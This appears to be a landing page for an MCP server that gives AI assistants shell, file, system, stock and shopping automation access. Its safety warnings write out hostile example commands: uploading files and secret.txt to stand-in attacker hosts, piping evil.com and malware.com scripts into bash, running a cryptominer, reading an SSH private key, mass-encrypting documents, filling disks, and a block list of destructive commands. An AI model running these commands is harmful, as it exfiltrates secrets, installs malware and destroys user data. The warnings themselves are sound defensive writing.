Give Your AI Assistant the Power to Interact with Your Computer
A production-ready MCP (Model Context Protocol) server that enables AI assistants like Claude to execute shell commands, manage files, monitor systems, track stocks, automate shopping, and much more.
THIS SOFTWARE PROVIDES SHELL COMMAND EXECUTION CAPABILITIES TO AI ASSISTANTS. USE AT YOUR OWN RISK.
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.Running this server WITHOUT sandbox mode gives your AI assistant UNRESTRICTED ACCESS to:
WITHOUT SANDBOX_MODE=true, YOUR AI ASSISTANT HAS THE SAME POWER AS YOU AT YOUR KEYBOARD.
curl -X POST https://malicious-site.com/upload \
--data-binary @~/Documents/sensitive-data.pdfnohup ./cryptominer --wallet=attacker &curl https://evil.com/backdoor.sh | bashpython execute_trade.py --symbol=LOSS \
--amount=ALL --action=SELLfind ~/Documents -type f \
-exec gpg --encrypt {} \;dd if=/dev/zero of=~/bigfile.img \
bs=1G count=100"SANDBOX_MODE": "true"Never run as root/administrator
Use Docker containers with no network
Ask AI to explain before executing
Use chroot or volume restrictions
Enable DEBUG mode and review logs
Use read-only API keys only
Maintain offline backups
{
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "10000",
"DEBUG": "true"
}{
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "30000",
"DEBUG": "false"
}DO NOT USE without comprehensive security review, penetration testing, and incident response plan.
Final Warning: YOU are ultimately responsible for everything that happens on your system. When in doubt, use SANDBOX_MODE=true and manually review commands before execution.
See how Shell MCP Server can transform your daily workflow
"Set up a new React project with TypeScript, install dependencies, initialize Git, and create a basic file structure."
Your AI assistant executes all commands, creates configuration files, and verifies the setup—saving 15-20 minutes of repetitive work.
"Find all TODO comments in my project, categorize them by priority, and create a markdown report."
AI searches your codebase and generates comprehensive reports.
"Check why my Docker container isn't starting. Look at the logs, verify port availability, and check system resources."
AI investigates issues by running diagnostic commands and interpreting results.
"Give me a comprehensive health check: CPU usage, memory stats, disk space, and any processes using excessive resources."
Get instant, interpreted system diagnostics without manually running multiple commands.
"Check the last 100 lines of the system log for errors, summarize the issues, and suggest solutions."
AI not only retrieves logs but also analyzes patterns and provides actionable insights.
"Clean up old Docker images, remove unused npm packages globally, and clear system cache files older than 30 days."
Execute complex cleanup routines with a single natural language request.
"Download the CSV from this URL, convert it to JSON, remove duplicates, and save it with today's date."
Chain multiple data processing commands with AI understanding the context.
"Find all .csv files in the data folder, get their row counts, and create a summary report."
Automate repetitive data exploration tasks.
"Check the current price of Apple, Microsoft, and Tesla stocks. Alert me if any drop below their 50-day moving average."
AI executes scripts to fetch real-time stock data from APIs, analyze trends, and monitor your portfolio automatically.
"I bought 10 shares of NVDA at $875. Track its performance, calculate my current profit/loss, and notify me if it gains or loses more than 5%."
AI maintains a portfolio tracker with real-time data and intelligent summaries.
"Every morning at 9:30 AM, analyze the top 10 tech stocks and create a trading signals report with recommendations."
Set up automated analysis with technical indicators and actionable insights.
"Open Chrome, navigate to my company's dashboard, take a screenshot, and save it to my reports folder."
AI automates browser tasks, scrapes data, and captures information.
"Launch Spotify, play my 'Focus' playlist, then open VS Code with my current project."
Orchestrate your entire work environment with one natural language request.
"Search Amazon for the best-rated wireless headphones under $200, compare the top 5 options, and create a comparison table."
AI runs scripts to search products, compare prices, analyze reviews, and track deals.
"Monitor the price of the Sony A7 IV camera across Amazon, B&H, and Adorama. Check every 6 hours and alert me when it drops below $2,300."
Set up automated price tracking with scheduled checks and notifications.
git clone https://github.com/luciVuc/shell-mcp.git
cd shell-mcp
npm install
npm run buildEdit your Claude Desktop config file:
~/Library/Application Support/Claude/claude_desktop_config.json
%APPDATA%\Claude\claude_desktop_config.json
Configuration (development):
{
"mcpServers": {
"shell": {
"command": "node",
"args": ["/absolute/path/to/shell-mcp/dist/server.js"],
"env": {
"SANDBOX_MODE": "false",
"COMMAND_TIMEOUT": "30000"
}
}
}
}Configuration (production with sandbox):
{
"mcpServers": {
"shell": {
"command": "node",
"args": ["/absolute/path/to/shell-mcp/dist/server.js"],
"env": {
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "30000"
}
}
}
}Run shell-mcp directly from npm without cloning or building the project:
Edit your Claude Desktop config file as above, and add this configuration:
Quick start (development):
{
"mcpServers": {
"shell": {
"command": "npx",
"args": ["@lucid-spark/shell-mcp"],
"env": {
"SANDBOX_MODE": "false",
"COMMAND_TIMEOUT": "30000"
}
}
}
}Production use (with sandbox):
{
"mcpServers": {
"shell": {
"command": "npx",
"args": ["@lucid-spark/shell-mcp"],
"env": {
"SANDBOX_MODE": "true",
"COMMAND_TIMEOUT": "30000"
}
}
}
}Note: The first time you run this, npx will download and cache the package. Subsequent runs will use the cached version for faster startup.
Completely quit and restart the application.
Try these prompts:
Alpha Vantage (Free tier): 500 requests/day
export ALPHA_VANTAGE_API_KEY="your_key_here"Install Puppeteer or Playwright for web scraping:
npm install -g puppeteer
# or
npm install -g playwrightUse Amazon Product Advertising API or web scraping:
pip install beautifulsoup4 requestsSign up at Amazon Associates for API access
Commands vary by platform:
# macOS
open -a "Google Chrome" https://example.com
# Windows
start chrome https://example.com
# Linux
xdg-open https://example.comSee real interactions with your AI assistant
You don't need to know command syntax! Say "find big files" instead of trying to construct find commands. Your AI will translate.
"SANDBOX_MODE": "true"Adds extra safety checks while you get comfortable.
Your AI will typically ask before deleting files. You can always ask "show me what command you're about to run"
Ask your AI to check system resources if things slow down: "What's using the most memory?"
7 powerful tools your AI assistant can use
Execute arbitrary shell commands
command (string) - The shell command to execute{
"name": "exec",
"arguments": {
"command": "echo 'Hello World'"
}
}Read the contents of a file
path (string) - Path to the fileWrite content to a file
path (string) - Path to the filecontent (string) - Content to writeDelete a file
path (string) - Path to the fileList contents of a directory
path (string) - Path to the directoryGet system information (CPU, memory, disk, OS)
Platform, OS type, CPU cores/model, memory stats, disk usage, uptime, and hostname
List running processes, optionally filtered
filter (string, optional) - Filter pattern for process
names
⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.
rm -rf /
Recursive deletion of the root filesystem - would destroy all files
mkfs
Filesystem formatting - could destroy entire partitions
dd if=
Low-level disk writing - could overwrite critical system data
> /dev/
Direct device manipulation - can corrupt storage devices
These built-in protections are MINIMAL and do NOT prevent:
cat ~/.ssh/id_rsa)rm -rf ~/Documents)
curl -X POST attacker.com --data @secret.txt)
curl malware.com/script.sh | bash)
Use Docker containers with minimal permissions, network policies, and read-only file system mounts
Deploy behind authentication/authorization, use RBAC, implement command whitelisting
Enable comprehensive logging, set up alerting, review execution history, implement anomaly detection
Combine multiple security layers, assume breach mentality, implement least privilege, regular security assessments
This MCP server grants shell access to AI assistants. The security of your system depends on how you configure it, what permissions you grant, how you monitor its use, the security of your AI assistant, and your understanding of the risks.
No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.
Want to contribute to the project, report bugs, or add new features?
Access the source code, documentation, and contribute to the project.
View on GitHub →Read our contribution guidelines and learn how to submit pull requests.
Contribution Guide →